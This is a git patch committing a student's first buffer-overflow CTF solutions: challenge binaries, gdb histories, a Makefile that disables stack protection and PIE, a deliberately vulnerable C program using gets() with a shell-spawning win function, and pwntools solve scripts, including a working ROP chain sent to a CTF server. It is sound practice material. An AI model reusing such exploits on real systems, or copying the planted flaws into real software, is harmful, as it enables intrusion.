From 563524658109056bb3737486c1544fdfceca3c5f Mon Sep 17 00:00:00 2001 From: emln Date: Sat, 9 May 2026 20:58:42 +0200 Subject: [PATCH] First CTFs --- BOF/.gdb_history | 2 + BOF/01_guestbook/.gdb_history | 1 + BOF/01_guestbook/guestbook | Bin 0 -> 19288 bytes BOF/01_guestbook/solve.py | 18 +++++++ BOF/02_whispered_secrets/.gdb_history | 2 + BOF/02_whispered_secrets/solve.py | 20 ++++++++ BOF/02_whispered_secrets/whispered_secrets | Bin 0 -> 19088 bytes BOF/03_tiny_escape_room/.gdb_history | 4 ++ BOF/03_tiny_escape_room/Makefile | 10 ++++ BOF/03_tiny_escape_room/escape_room | Bin 0 -> 19456 bytes BOF/03_tiny_escape_room/main.c | 37 ++++++++++++++ BOF/03_tiny_escape_room/solve.py | 33 +++++++++++++ BOF/04_lemonade_stand/.gdb_history | 53 +++++++++++++++++++++ BOF/04_lemonade_stand/lemonade_stand | Bin 0 -> 19312 bytes BOF/04_lemonade_stand/solve.py | 16 +++++++ BOF/05_mini_game_arena/.gdb_history | 3 ++ BOF/05_mini_game_arena/mini_game | Bin 0 -> 19312 bytes BOF/05_mini_game_arena/solve.py | 18 +++++++ BOF/06_cosmic_burger_joint/.gdb_history | 4 ++ BOF/06_cosmic_burger_joint/cosmic_burger | Bin 0 -> 19344 bytes BOF/06_cosmic_burger_joint/solve.py | 23 +++++++++ 21 files changed, 244 insertions(+) create mode 100644 BOF/.gdb_history create mode 100644 BOF/01_guestbook/.gdb_history create mode 100755 BOF/01_guestbook/guestbook create mode 100644 BOF/01_guestbook/solve.py create mode 100644 BOF/02_whispered_secrets/.gdb_history create mode 100644 BOF/02_whispered_secrets/solve.py create mode 100755 BOF/02_whispered_secrets/whispered_secrets create mode 100644 BOF/03_tiny_escape_room/.gdb_history create mode 100644 BOF/03_tiny_escape_room/Makefile create mode 100755 BOF/03_tiny_escape_room/escape_room create mode 100644 BOF/03_tiny_escape_room/main.c create mode 100644 BOF/03_tiny_escape_room/solve.py create mode 100644 BOF/04_lemonade_stand/.gdb_history create mode 100755 BOF/04_lemonade_stand/lemonade_stand create mode 100644 BOF/04_lemonade_stand/solve.py create mode 100644 BOF/05_mini_game_arena/.gdb_history create mode 100755 BOF/05_mini_game_arena/mini_game create mode 100644 BOF/05_mini_game_arena/solve.py create mode 100644 BOF/06_cosmic_burger_joint/.gdb_history create mode 100755 BOF/06_cosmic_burger_joint/cosmic_burger create mode 100644 BOF/06_cosmic_burger_joint/solve.py diff --git a/BOF/.gdb_history b/BOF/.gdb_history new file mode 100644 index 0000000..58afc78 --- /dev/null +++ b/BOF/.gdb_history @@ -0,0 +1,2 @@ +run +quit diff --git a/BOF/01_guestbook/.gdb_history b/BOF/01_guestbook/.gdb_history new file mode 100644 index 0000000..ff60466 --- /dev/null +++ b/BOF/01_guestbook/.gdb_history @@ -0,0 +1 @@ +quit diff --git a/BOF/01_guestbook/guestbook b/BOF/01_guestbook/guestbook new file mode 100755 index 0000000000000000000000000000000000000000..1b70362ac2b766a297311c6d00fab30ac254afa6 GIT binary patch literal 19288 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 bwksmmc$|B}p(n3J@vrXG_@W2ksfzys9+{N> literal 0 HcmV?d00001 diff --git a/BOF/03_tiny_escape_room/.gdb_history b/BOF/03_tiny_escape_room/.gdb_history new file mode 100644 index 0000000..4add7a7 --- /dev/null +++ b/BOF/03_tiny_escape_room/.gdb_history @@ -0,0 +1,4 @@ +disass vuln +run +run +quit diff --git a/BOF/03_tiny_escape_room/Makefile b/BOF/03_tiny_escape_room/Makefile new file mode 100644 index 0000000..0b65e39 --- /dev/null +++ b/BOF/03_tiny_escape_room/Makefile @@ -0,0 +1,10 @@ +CC = gcc +CFLAGS = -fno-stack-protector -no-pie -O0 -g + +all: escape_room + +escape_room: main.c + $(CC) $(CFLAGS) -o $@ $< + +clean: + rm -f escape_room diff --git a/BOF/03_tiny_escape_room/escape_room b/BOF/03_tiny_escape_room/escape_room new file mode 100755 index 0000000000000000000000000000000000000000..91d3adc255027d059a4564f2f59497d57c4e62c8 GIT binary patch literal 19456 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 m|K +#include +#include + +void setup() { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); +} + +void win(int arg1, int arg2) { + if (arg1 == 0xdeadbeef && arg2 == 0xcafebabe) { + puts("Door unlocked!"); + system("/bin/sh"); + } else { + printf("Wrong keys: 0x%x, 0x%x\n", arg1, arg2); + } +} + +void gadgets() { + __asm__("pop %rdi; ret"); + __asm__("pop %rsi; ret"); +} + +void vuln() { + char buffer[64]; + puts("Welcome to the tiny escape room!"); + puts("Two magic keys open the door."); + puts("keys?"); + gets(buffer); +} + +int main() { + setup(); + vuln(); + return 0; +} diff --git a/BOF/03_tiny_escape_room/solve.py b/BOF/03_tiny_escape_room/solve.py new file mode 100644 index 0000000..4e7f5bf --- /dev/null +++ b/BOF/03_tiny_escape_room/solve.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python3 +from pwn import * + +context.binary = elf = ELF("./escape_room", checksec=False) + +# p = process(elf.path) +p = remote("offsec.m0lecon.it", 13566) +# p.recvuntil(b"keys?\n") +# Your exploit here + +var1 = 0xDEADBEEF +var2 = 0xCAFEBABE +OFFSET = 72 +# Gadget to overwrite rdi e rsi (pop) +# (Creati in main.c) +rdi = 0x401287 +rsi = 0x401289 +ret = 0x40101A +# win addr +win = 0x40121B +payload = flat( + b"A" * OFFSET, + p64(rsi), + p64(var2), + p64(rdi), + p64(var1), + p64(ret), + p64(win), +) +p.send(payload) +# p.send(b'cat flag\n') +# p.recv() +p.interactive() diff --git a/BOF/04_lemonade_stand/.gdb_history b/BOF/04_lemonade_stand/.gdb_history new file mode 100644 index 0000000..832b898 --- /dev/null +++ b/BOF/04_lemonade_stand/.gdb_history @@ -0,0 +1,53 @@ +disass vuln +b *0x00000000000012a7 +run +n +n +n +n +n +n +c +v +c +quit +run +disass main +b *+23 +disass main +breaj +23 +break +23 +info breakpoint +info breakpoints +clear breakpoints +layout asm +b +b main +c +r +b +23 +b main+23 +b *(main+23) +c +ni +ni +c +quit +disass main +quit +disass main +disass vuln +b *0x00000000000012a2 +r +b +5 +quit +disass vuln +b *0x00000000000012a2 +r +quit +quit +run +quit +r +disass vuln +quit diff --git a/BOF/04_lemonade_stand/lemonade_stand b/BOF/04_lemonade_stand/lemonade_stand new file mode 100755 index 0000000000000000000000000000000000000000..6d06f47dfcc3420b1c2285b9f3eaa76a15047ba3 GIT binary patch literal 19312 zcmeHPYj6}-cD_B*NCSE!9+I(5%SHyJlZqW=# zRIC$C*mjGhq7HJc#FRd&2(+ra6_`##8m|E*zYbz%pf@X6Fy$5!CBNCqwR)vtD)fGk zUyxK<_S0K*JD9TGtIs576jN?J`YsuuFs<~X+??r=YH?;@I-SsYIj<@Ekw|_oYrmJZ zAJZGUKBk;c$_f3}>HYB2Ug)SW_4}o@pPvpYH^G$ZptAR>oBZ$8H=_N{n=*{>Q?7?8 z*S80Ll$ZZ%;cmWP*Ed@~q;>w8>hy|8HWOddAITi0wOuw`{dm zhSz%B%J6EBU)3+H;e9(TM0Q3qsK2mp=hkdK=j^lNSqD)^$MQMd2uqpHXh=tyfuoK7 zh}L?NI-&_Xh+Ob_wJ4KmqASj)HCDPQgA~>XSIgfx^$ZTrfH(q~3Sa*?uNT@BepX-K z7(b%%P*mv|XZfv73a4YAjukFfD)0bqmFKDPqr z(yX*C1Y z3{*2v%|JB+)eKZKKpFU#mRo-oJNj-Yc0BlYM2Of^7u-PkQtasKq1R-B%Bvp(T<(4x z+m@nUa_S`cr)eT~{mm(vCScdUJtfmb=la*CWSZbyf60wJaG_ z?J0LJ^vTUWxy~nl9G>p~lWB6_d&9>re=2tDo!HTTyfLzGsP97G#n_2~_tEU~f*->4 zUsK_hB~PMJNWh7Kp8|=U2!2Rp{YUNsq~;akk(xQ>D=kZoklkyV!v3PPU;S+&cYYi@ zb|dz!_cz79^-)dCcq4ZCV|P9RJf#DK%2(8WvOneT$iSaMElPLqj~yL|6B|2r)oqL& zA4oyC_V&l+^0g$g^+xbCWa9vQz52=j`e7)E*$+Qd_8_djNsas?>WEi~iyiyUwabVD z?Oii#zpk_^X4amD_T+)ryh@I~JMx{OU&zQOf)_Bsr3#`H;zaPW7W*I`ANs|yH-NpP 